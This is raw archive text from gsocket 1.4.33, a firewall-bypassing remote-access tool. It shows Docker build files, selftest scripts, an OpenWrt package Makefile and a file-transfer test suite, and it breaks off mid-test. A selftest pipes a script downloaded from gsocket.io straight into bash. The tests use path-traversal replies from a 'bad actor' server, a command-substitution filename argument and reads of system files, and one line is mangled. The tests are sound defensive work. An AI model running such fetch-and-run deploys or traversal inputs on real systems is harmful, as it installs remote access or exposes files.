rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-alpine/ 0000775 0000000 0000000 00000000000 14072625040 0023632 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-alpine/Dockerfile 0000664 0000000 0000000 00000001070 14072625040 0025622 0 ustar 00root root 0000000 0000000 FROM alpine
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash musl-dev linux-headers gcc make automake openssl-dev curl && \
rm -rf /var/cache/apk/* && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-arch/ 0000775 0000000 0000000 00000000000 14072625040 0023277 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-arch/Dockerfile 0000664 0000000 0000000 00000000660 14072625040 0025273 0 ustar 00root root 0000000 0000000 FROM archlinux:base-devel
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-centos/ 0000775 0000000 0000000 00000000000 14072625040 0023655 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-centos/Dockerfile 0000664 0000000 0000000 00000001100 14072625040 0025637 0 ustar 00root root 0000000 0000000 FROM centos
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
WORKDIR /root/
RUN yum -y update && \
yum -y install automake gcc make curl && \
yum -y --enablerepo=powertools install glibc-static && \
yum clean all && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-debian/ 0000775 0000000 0000000 00000000000 14072625040 0023604 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-debian/Dockerfile 0000664 0000000 0000000 00000001105 14072625040 0025573 0 ustar 00root root 0000000 0000000 FROM debian
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN apt update -y && \
apt install -y --no-install-recommends libc6-dev automake gcc make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/ 0000775 0000000 0000000 00000000000 14072625040 0022010 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.alpine 0000664 0000000 0000000 00000000205 14072625040 0025246 0 ustar 00root root 0000000 0000000 FROM alpine
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash wget tar gzip && \
rm -rf /var/cache/apk/* && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.arch 0000664 0000000 0000000 00000000033 14072625040 0024712 0 ustar 00root root 0000000 0000000 FROM archlinux:base-devel
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.centos 0000664 0000000 0000000 00000000151 14072625040 0025271 0 ustar 00root root 0000000 0000000 FROM centos
RUN yum -y update && \
yum -y install wget gzip tar && \
yum -y clean all && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.debian 0000664 0000000 0000000 00000000260 14072625040 0025221 0 ustar 00root root 0000000 0000000 FROM debian
RUN apt update -y && \
apt install -y --no-install-recommends curl wget ca-certificates tar gzip && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.rhel8 0000664 0000000 0000000 00000000023 14072625040 0025016 0 ustar 00root root 0000000 0000000 FROM roboxes/rhel8
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.suse-tumbleweed 0000664 0000000 0000000 00000000144 14072625040 0027112 0 ustar 00root root 0000000 0000000 FROM opensuse/tumbleweed
RUN zypper install -y wget tar gzip && \
zypper clean -a && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/run.sh 0000775 0000000 0000000 00000001013 14072625040 0023146 0 ustar 00root root 0000000 0000000 #! /bin/sh
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# IF this is not a live test then use local binaries (GS_DEBUG=1)
if test -z "$GS_LIVE"; then
export GS_DEBUG=1
${BASEDIR}/deploy.sh && \
GS_UNDO=1 ${BASEDIR}/deploy.sh
else
echo "Running LIVE test..."
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; } && \
export GS_UNDO=1 && \
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; }
fi
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/run_all.sh 0000775 0000000 0000000 00000002070 14072625040 0024002 0 ustar 00root root 0000000 0000000 #! /bin/bash
# Test deploy.sh in various docker images.
# To fetch binaries from live server us:
# GS_LIVE=1 ./run_all.sh
BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)"
GSPKGROOT="${BASEDIR}/packaging/gsnc-deploy-bin/"
STDIR="${GSPKGROOT}/selftest"
targets="debian centos arch alpine rhel8 suse-tumbleweed"
[[ -n $* ]] && targets="$*"
errexit()
{
echo >&2 "ERROR: $*"
exit 255
}
docker_run()
{
[[ -z $1 ]] && { echo >&2 "Parameters missing."; return; }
[[ -f "${STDIR}/Dockerfile.${1}" ]] || { echo >&2 "Not found: Dockerfile.${1}"; return; }
echo "Testing $1..."
local dockername
dockername="gs-selftest-${1}"
docker run --rm -it "${dockername}" true || docker build -t "${dockername}" -f "${STDIR}/Dockerfile.${1}" . || { exit 255; }
docker run --rm -v "${GSPKGROOT}:/gsocket-pkg" -e GS_LIVE="$GS_LIVE" -it "${dockername}" /gsocket-pkg/selftest/run.sh || { errexit "failed"; }
}
cp "${BASEDIR}/deploy/deploy.sh" "${GSPKGROOT}/selftest/deploy.sh"
for x in $targets; do
docker_run $x
done
rm -f "${GSPKGROOT}/selftest/deploy.sh"
echo "SUCCESS."
gsocket-1.4.33/packaging/openwrt/ 0000775 0000000 0000000 00000000000 14072625040 0016663 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/openwrt/gsocket/ 0000775 0000000 0000000 00000000000 14072625040 0020322 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/openwrt/gsocket/Makefile 0000664 0000000 0000000 00000004044 14072625040 0021764 0 ustar 00root root 0000000 0000000 # https://gsocket.io
include $(TOPDIR)/rules.mk
PKG_NAME:=gsocket
PKG_VERSION:=1.4.33
PKG_RELEASE:=1
#PKG_LICENSE:=BSD-2-Clause
#PKG_LICENSE_FILES:=LICENSE
PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION)
# PKG_SOURCE_PROTO:=git
# PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket.git
# PKG_SOURCE_VERSION:=98a85e270c8ee5757134f00636a5358432cd3d83
# Direct file download
PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket/releases/download/v$(PKG_VERSION)/
PKG_HASH:=5bbc850a274b933a4e8b0ac7d5bc8b0527c3eddbaee7f8a9389c284f27a6fe14
# For testing copy to openwrt/dl
PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
# dont need 'make install'
#PKG_INSTALL:=1
PKG_MAINTAINER:=skyper
include $(INCLUDE_DIR)/package.mk
define Package/gsocket
SECTION:=net
CATEGORY:=Network
DEPENDS:=+libopenssl
TITLE:=Connect like there is no firewall
URL:=https://gsocket.io
endef
define Package/gsocket/description
Connect like there is no firewall
endef
define Build/Configure
$(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR) --libdir=$(STAGING_DIR)/usr/lib --includedir=$(STAGING_DIR)/usr/include)
endef
# $(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR))
define Build/Compile
$(MAKE) -C $(PKG_BUILD_DIR) \
LD="$(TARGET_CXX)" \
all
endef
define Package/gsocket/install
$(INSTALL_DIR) $(1)/bin
$(INSTALL_DIR) $(1)/share/gsocket
$(INSTALL_DIR) $(1)/lib
$(INSTALL_DIR) $(1)/etc
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-sftp $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-mount $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/blitz $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-netcat $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs_funcs $(1)/share/gsocket/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_uchroot_dso.so.0 $(1)/lib/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_dso.so.0 $(1)/lib/
$(INSTALL_CONF) $(PKG_BUILD_DIR)/tools/gsocket.conf $(1)/etc/
endef
$(eval $(call BuildPackage,gsocket))
gsocket-1.4.33/tests/ 0000775 0000000 0000000 00000000000 14072625040 0014403 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/tests/Makefile 0000664 0000000 0000000 00000000242 14072625040 0016041 0 ustar 00root root 0000000 0000000
clean:
rm -rf id_sec.txt gs_nc test*.dat client*.txt server*.txt client*.dat server*.dat ft_test_dst ft_test_src
>server.logclient.log/dev/null 2>&1 && MD5(){ md5 -q "${1}";}
command -v md5sum >/dev/null 2>&1 && MD5(){ md5sum "${1}" | cut -f1 -d' ';}
if [[ $(uname) =~ Darwin ]]; then
FSIZE(){ stat -f%z "$1";}
FACCESS(){ stat -f%A "$1";}
FMTIME(){ stat -f%m "$1";}
FSTAT(){ stat -f%A-%m-%z "$1";}
DSTAT(){ stat -L -f%A-%m "$1";}
elif [[ $(uname) =~ FreeBSD ]]; then
FSIZE(){ stat -f%z "$1";}
FACCESS(){ stat -f%p "$1";}
FMTIME(){ stat -f%m "$1";}
FSTAT(){ stat -f%p-%m-%z "$1";}
DSTAT(){ stat -L -f%p-%m "$1";}
elif [[ -f /bin/busybox ]]; then
FSIZE(){ stat -c%s "$1";}
FACCESS(){ stat -c%a "$1";}
FMTIME(){ stat -c%Y "$1";}
FSTAT(){ stat -c%a-%Y-%s "$1";}
DSTAT(){ stat -L -c%a-%Y "$1";}
else
FSIZE(){ stat --format=%s "$1";}
FACCESS(){ stat --format=%a "$1";}
FMTIME(){ stat --format=%Y "$1";}
FSTAT(){ stat --format=%a-%Y-%s "$1";}
DSTAT(){ stat -L --format=%a-%Y "$1";}
fi
IODIR="${PWD}/ft_test_dst"
IODIRSRC="ft_test_src"
LOGDIR="${PWD}"
OK="....[\033[1;32mOK\033[0m]"
FAIL="[\033[1;31mFAILED\033[0m]"
SKIP="[\033[1;33mskipping\033[0m]"
BINDIR="${PWD}/../tools"
ECHO="echo -e"
BIN="${BINDIR}/filetransfer-test"
[[ -f "${BIN}" ]] || { echo "${BIN} not found. Try ./configure --enable-tests"; exit 255; }
if [[ $(uname) =~ Darwin ]]; then
export PATH=$HOME/usr/bin:$PATH
fi
command -v socat >/dev/null 2>&1 || { $ECHO >&2 "socat not installed. ${SKIP}"; exit 0; }
mk_dummy()
{
[ -f "$1" ] || dd bs=1024 count=$2 if=/dev/urandom of="$1" 2>/dev/null
}
mk_dummy test1k.dat 1
mk_dummy test4k.dat 4
mk_dummy test8k.dat 8
rm -rf "${IODIRSRC}/foo"
mkdir -p "${IODIRSRC}/foo/bar"
mkdir -p "${IODIRSRC}/foo/dir_empty"
cp test1k.dat "${IODIRSRC}/"
cp test1k.dat "${IODIRSRC}/foo/bar/"
cp test1k.dat "${IODIRSRC}/foo/.rcfile1"
cp test4k.dat "${IODIRSRC}/foo/"
cp test4k.dat "${IODIRSRC}/foo/bar/.rcfile2"
cp test8k.dat "${IODIRSRC}/"
touch "${IODIRSRC}/zero.dat"
test_start()
{
rm -rf "${IODIR}/" &>/dev/null
mkdir -p "${IODIR}" &>/dev/null
[[ x"$1" != x ]] && $ECHO $*
}
fail()
{
$ECHO "${FAIL}"-$*
exit 255
}
# code file1 file2
md5fail()
{
[[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && fail $1;
}
fail_file_count()
{
# Do not quote so that globbing takes effect.
nf_src=$(find $2 -xdev -type f -o -type d | wc -l)
nf_dst=$(find $3 -xdev -type f -o -type d | wc -l)
[[ $nf_src -eq $nf_dst ]] || fail $1
}
fail_file_bypipe()
{
while read f; do
if [ $(FSTAT "${2}/${f}") != $(FSTAT "${3}/${f}") ]; then
echo "${f} not equal";
fail $1
fi
done
}
fail_dir_bypipe()
{
while read f; do
if [ $(DSTAT "${2}/${f}") != $(DSTAT "${3}/${f}") ]; then
echo "${f} not equal";
fail $1
fi
done
}
# Recursively compare st_mode and mtime and fail if different
fail_dir_compare()
{
(cd "$2"; find "$4" -xdev -type d) | fail_dir_bypipe "$1" "$2" "$3"
(cd "$2"; find "$4" -xdev -type f) | fail_file_bypipe "$1" "$2" "$3"
}
run_put()
{
# set -f disabled globbing
# socat SYSTEM:"./filetransfer-test c $* 2>client.log" SYSTEM:"(cd ${IODIR}; ../filetransfer-test s 2>../server.log)"
# socat SYSTEM:"set -f && ./filetransfer-test c $* 2>client.log" SYSTEM:"(cd ${IODIR}; ../filetransfer-test s 2>../server.log)"
socat SYSTEM:"set -f && ${BIN} c $* 2>${LOGDIR}/client.log" SYSTEM:"(cd ${IODIR}; ${BIN} s 2>${LOGDIR}/server.log)"
}
# put with command
run_putc()
{
socat SYSTEM:"set -f && ${BIN} c \'$*\' 2>${LOGDIR}/client.log" SYSTEM:"(cd ${IODIR}; ${BIN} s 2>${LOGDIR}/server.log)"
}
run_get()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C $* 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}; ${BIN} s 2>${LOGDIR}/server.log)"
}
run_get2()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C $* 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}/foo; ${BIN} s 2>${LOGDIR}/server.log)"
}
# Server is a bad actor and send ../../../shit.dat as reply for any request
run_get_dst()
{
# set -f disabled globbing
socat SYSTEM:"(cd ${IODIR}/foo; set -f && ${BIN} C test4k.dat 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}/foo; ${BIN} s $* 2>${LOGDIR}/server.log)"
}
run_getc()
{
socat SYSTEM:"(cd ${IODIR}; set -f && ${BIN} C \'$*\' 2>${LOGDIR}/client.log)" SYSTEM:"(cd ${IODIRSRC}; ${BIN} s 2>${LOGDIR}/server.log)"
}
tests="1.0 "
tests+="1.1 "
tests+="1.2 "
tests+="1.3 "
tests+="2.1 2.2 "
tests+="2.3 "
tests+="3.1 3.2 "
tests+="3.3 "
tests+="3.4 "
tests+="4.1 "
tests+="4.2 "
tests+="4.3 "
tests+="4.4 "
tests+="5.1 "
tests+="5.2 "
tests+="5.3 "
tests+="5.4 "
tests+="5.5 "
tests+="5.6 "
tests+="5.7 "
tests+="5.8 "
tests+="8.1 "
tests+="8.2 "
tests+="8.3 "
tests+="8.4 "
tests+="8.5 "
tests+="8.6 "
tests+="8.7 "
tests+="8.8 "
tests+="8.9 "
tests+="9.1 "
tests+="9.2 "
if [ x"$1" != x ]; then
tests="$@ "
fi
if [[ "$tests" =~ '1.0 ' ]]; then
test_start -n "Running #1.0 (put 1 file)................................."
run_put test1k.dat
md5fail 1 test1k.dat "${IODIR}/test1k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '1.1 ' ]]; then
test_start -n "Running #1.1 (put 2 files)................................"
run_put test4k.dat test8k.dat
md5fail 1 test4k.dat "${IODIR}/test4k.dat"
md5fail 2 test8k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '1.2 ' ]]; then
test_start -n "Running #1.2 (non-exist).................................."
run_put not-exists.dat
[[ -f "${IODIR}/not-exists.dat" ]] && fail 1
$ECHO "${OK}"
fi
run_put_fail()
{
rm -rf "${IODIR}/" &>/dev/null
mkdir -p "${IODIR}" &>/dev/null
run_put "$2"
[[ -f "$3" ]] || fail "$1"
rm -f "$3"
}
if [[ "$tests" =~ '1.3 ' ]]; then
test_start -n "Running #1.3 (absolute file).............................."
run_put_fail 1 "${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 2 "${IODIRSRC}/foo/bar/./test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 3 "./${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 4 "${IODIRSRC}/foo/./bar/test1k.dat" "${IODIR}/bar/test1k.dat"
run_put_fail 5 "././${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/${IODIRSRC}/foo/bar/test1k.dat"
run_put_fail 6 "${IODIRSRC}/foo/../foo/bar/test1k.dat" "${IODIR}/test1k.dat"
run_put_fail 7 "${IODIRSRC}/foo/../foo/./bar/test1k.dat" "${IODIR}/bar/test1k.dat"
run_put_fail 8 "${PWD}/${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/test1k.dat"
### run_put foo/./../foo/../foo/bar/test1k.dat # escape. wanted behavior (?).
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.1 ' ]]; then
test_start -n "Running #2.1 (src is larger, restart)....................."
dd bs=1k count=5 if=test8k.dat of="${IODIR}/test8k.dat" &>/dev/null
run_put test4k.dat test8k.dat
md5fail 1 test8k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.2 ' ]]; then
test_start -n "Running #2.2 (dst is larger, overwrite)..................."
cp test8k.dat "${IODIR}/test4k.dat"
run_put test4k.dat
md5fail 1 test4k.dat "${IODIR}/test4k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.3 ' ]]; then
test_start -n "Running #2.3 (zero src size).............................."
touch zero.dat
run_put zero.dat
md5fail 1 zero.dat "${IODIR}/zero.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.1 ' ]]; then
test_start -n "Running #3.1 (write-error 0-sized dst)...................."
touch "${IODIR}/test4k.dat"
if [[ $(uname) =~ CYGWIN ]]; then
chattr +r "${IODIR}/test4k.dat"
else
chmod 400 "${IODIR}/test4k.dat"
fi
run_put test4k.dat
[[ x`FSIZE "${IODIR}/test4k.dat"` = x0 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.2 ' ]]; then
test_start -n "Running #3.2 (write-error partial)........................"
cp test4k.dat "${IODIR}/test8k.dat"
if [[ $(uname) =~ CYGWIN ]]; then
chattr +r "${IODIR}/test8k.dat"
else
chmod 400 "${IODIR}/test8k.dat"
fi
run_put test8k.dat
md5fail 1 test4k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.3 ' ]]; then
test_start -n "Running #3.3 (dir not writeable).........................."
if [[ $(uname) =~ CYGWIN ]]; then
$ECHO "${SKIP}"
else
chmod a-w "${IODIR}"
run_put test4k.dat
[[ -f "${IODIR}/test4k.dat" ]] && fail 1
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '3.4 ' ]]; then
test_start -n "Running #3.4 (src not readable)..........................."
if [[ $(uname) =~ CYGWIN ]]; then
$ECHO "${SKIP}"
else
chmod a-r "${IODIRSRC}/test1k.dat"
run_put "${IODIRSRC}/test1k.dat"
[[ -f "${IODIR}/test1k.dat" ]] && fail 1
chmod a+r "${IODIRSRC}/test1k.dat"
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '4.1 ' ]]; then
test_start -n "Running #4.1 (permission)................................."
chmod 462 test4k.dat
# chmod u+s test4k.dat # On MacOS our own app can not set +s...
run_put test4k.dat
[[ x`FACCESS "test4k.dat"` = x`FACCESS "${IODIR}/test4k.dat"` ]] || fail 1
chmod 644 test4k.dat
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.2 ' ]]; then
test_start -n "Running #4.2 (mtime)......................................"
touch -r /etc/hosts test4k.dat
run_put test4k.dat
[[ x`FMTIME "test4k.dat"` = x`FMTIME "${IODIR}/test4k.dat"` ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.3 ' ]]; then
test_start -n "Running #4.3 (zero-size, mtime)..........................."
touch -r /etc/hosts zero.dat
run_put zero.dat
[[ x`FMTIME "zero.dat"` = x`FMTIME "${IODIR}/zero.dat"` ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.4 ' ]]; then
test_start -n "Running #4.4 (put, empty directory)......................."
touch "${IODIR}/foo" # Place a file in its way (should be overwritten)
run_put "${IODIRSRC}/./foo/dir_empty"
[[ -d "${IODIR}/foo/dir_empty" ]] || fail 1
touch "${IODIR}/dir_empty" # Place a file in its way (should be overwritten)
run_put "${IODIRSRC}/foo/dir_empty"
[[ -d "${IODIR}/dir_empty" ]] || fail 2
rmdir "${IODIR}/dir_empty"
run_put "${IODIRSRC}/foo/dir_empty"
[[ -d "${IODIR}/dir_empty" ]] || fail 3
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.1 ' ]]; then
test_start -n "Running #5.1 (Globbing ./*)..............................."
run_put "${IODIRSRC}/*"
fail_file_count 1 "${IODIRSRC}/*" "${IODIR}/*"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.2 ' ]]; then
test_start -n "Running #5.2 (Globbing ./foo/.*).........................."
run_put "${IODIRSRC}/./foo/.*"
[[ $(find ${IODIR}/ -type f -o -type d | wc -l) -eq 3 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.3 ' ]]; then
test_start -n "Running #5.3 (Globbing .*)................................"
(cd "${IODIRSRC}/foo" && run_put ".*")
[[ $(find ${IODIR}/ -type f -o -type d | wc -l) -eq 2 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.4 ' ]]; then
test_start -n "Running #5.4 (Globbing foo)..............................."
(cd "${IODIRSRC}" && run_put "foo")
fail_file_count 1 "${IODIRSRC}/foo" "${IODIR}/foo"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.5 ' ]]; then
test_start -n "Running #5.5 (Globbing .)................................."
(cd "${IODIRSRC}" && run_put ".")
fail_file_count 1 "${IODIRSRC}/" "${IODIR}/"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.6 ' ]]; then
test_start -n "Running #5.6 (Globbing foo/).............................."
(cd "${IODIRSRC}" && run_put "foo/")
fail_file_count 1 "${IODIRSRC}/foo/" "${IODIR}/"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.7 ' ]]; then
test_start -n "Running #5.7 (put, globbing \$(find...*.dat)..............."
# (cd "${IODIRSRC}" && run_putc '\$(echo *.dat)')
(cd "${IODIRSRC}" && run_putc '\$(find . -type f -name \\*.dat)')
(cd "${IODIRSRC}" && find . -type f -name '*.dat') | fail_file_bypipe 1 "${IODIRSRC}" "${IODIR}"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.8 ' ]]; then
test_start -n "Running #5.8 (get, globbing \$(find...*.dat)..............."
run_getc '\$(find . -type f -name \\*.dat)'
(cd "${IODIRSRC}" && find . -type f -name '*.dat') | fail_file_bypipe 1 "${IODIRSRC}" "${IODIR}"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.1 ' ]]; then
test_start -n "Running #8.1 (get, 2 files)..............................."
run_get test8k.dat foo/bar/.rcfile2
md5fail 1 test8k.dat "${IODIR}/test8k.dat"
md5fail 2 test4k.dat "${IODIR}/.rcfile2"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.2 ' ]]; then
test_start -n "Running #8.2 (get, 2 files /./ test)......................"
run_get ./foo/bar/test1k.dat ./foo/./bar/test1k.dat
md5fail 1 test1k.dat "${IODIR}/test1k.dat"
md5fail 2 test1k.dat "${IODIR}/bar/test1k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.3 ' ]]; then
test_start -n "Running #8.3 (directory test)............................."
run_get foo/bar
md5fail 1 "${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/bar/test1k.dat"
md5fail 2 "${IODIRSRC}/foo/bar/.rcfile2" "${IODIR}/bar/.rcfile2"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.4 ' ]]; then
test_start -n "Running #8.4 (get, non-exist)............................."
run_get not-exists.dat foobar*noexist[1234].d[ab]t
[[ -f "${IODIR}/not-exists.dat" ]] && fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.5 ' ]]; then
test_start -n "Running #8.5 (get, ../test8k.dat)........................."
run_get2 ../test8k.dat ../foo ../foo/./bar
md5fail 1 "${IODIRSRC}/test8k.dat" "${IODIR}/test8k.dat"
fail_file_count 2 "${IODIRSRC}/foo" "${IODIR}/foo"
fail_file_count 3 "${IODIRSRC}/foo/bar" "${IODIR}/bar"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.6 ' ]]; then
test_start -n "Running #8.6 (get, /etc/hosts)............................"
if [[ $(uname) =~ CYGWIN ]]; then
run_get /etc/hosts /etc/./pki/tls/cert.pem /./etc/pki/tls/cert.pem
md5fail 1 "/etc/hosts" "${IODIR}/hosts"
md5fail 2 "/etc/pki/tls/cert.pem" "${IODIR}/pki/tls/cert.pem"
md5fail 3 "/etc/pki/tls/cert.pem" "${IODIR}/etc/pki/tls/cert.pem"
else
run_get /etc/hosts /etc/./ssh/ssh_config /./etc/ssh/ssh_config
md5fail 1 "/etc/hosts" "${IODIR}/hosts"
md5fail 2 "/etc/ssh/ssh_config" "${IODIR}/ssh/ssh_config"
md5fail 3 "/etc/ssh/ssh_config" "${IODIR}/etc/ssh/ssh_config"
fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.7 ' ]]; then
test_start -n "Running #8.7 (get, permission, mtime, zero)..............."
chmod 462 "${IODIRSRC}/test1k.dat"
chmod 624 "${IODIRSRC}/zero.dat"
chmod 3751 "${IODIRSRC}/foo/dir_empty"
touch -r /etc/hosts "${IODIRSRC}/test1k.dat" "${IODIRSRC}/zero.dat" "${IODIRSRC}/foo/dir_empty"
touch -r /etc "${IODIRSRC}/foo"
touch -r /etc "${IODIR}" "${IODIRSRC}"
run_get test1k.dat zero.dat ././foo/dir_empty
[[ $(FSTAT "${IODIRSRC}/test1k.dat") = $(FSTAT "${IODIR}/test1k.dat") ]] || fail 1
[[ $(FSTAT "${IODIRSRC}/zero.dat") = $(FSTAT "${IODIR}/zero.dat") ]] || fail 2
[[ $(DSTAT "${IODIRSRC}/foo/dir_empty") = $(DSTAT "${IODIR}/foo/dir_empty") ]] || fail 3
[[ $(DSTAT "${IODIRSRC}/foo") = $(DSTAT "${IODIRSRC}/foo") ]] || fail 4
[[ $(DSTAT "${IODIRSRC}") = $(DSTAT "${IODIR}") ]] || fail 5
chmod 644 "${IODIRSRC}/test1k.dat" "${IODIRSRC}/zero.dat"
chmod 755 "${IODIRSRC}/foo/dir_empty"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.8 ' ]]; then
test_start -n "Running #8.8 (get restart: dst is larger, smaller & zero)."
dd bs=1k count=5 if="${IODIRSRC}/test8k.dat" of="${IODIR}/test8k.dat" &>/dev/null
cp "${IODIRSRC}/test8k.dat" "${IODIR}/test1k.dat"
touch "${IODIR}/test4k.dat"
run_get test1k.dat test8k.dat foo/test4k.dat
md5fail 1 "${IODIRSRC}/test8k.dat" "${IODIR}/test8k.dat"
md5fail 2 "${IODIRSRC}/test1k.dat" "${IODIR}/test1k.dat"
md5fail 2 "${IODIRSRC}/foo/test4k.dat" "${IODIR}/test4k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.9 ' ]]; then
test_start -n "Running #8.9 (get, Server sending ../../../shit..........."
mkdir ${IODIR}/foo
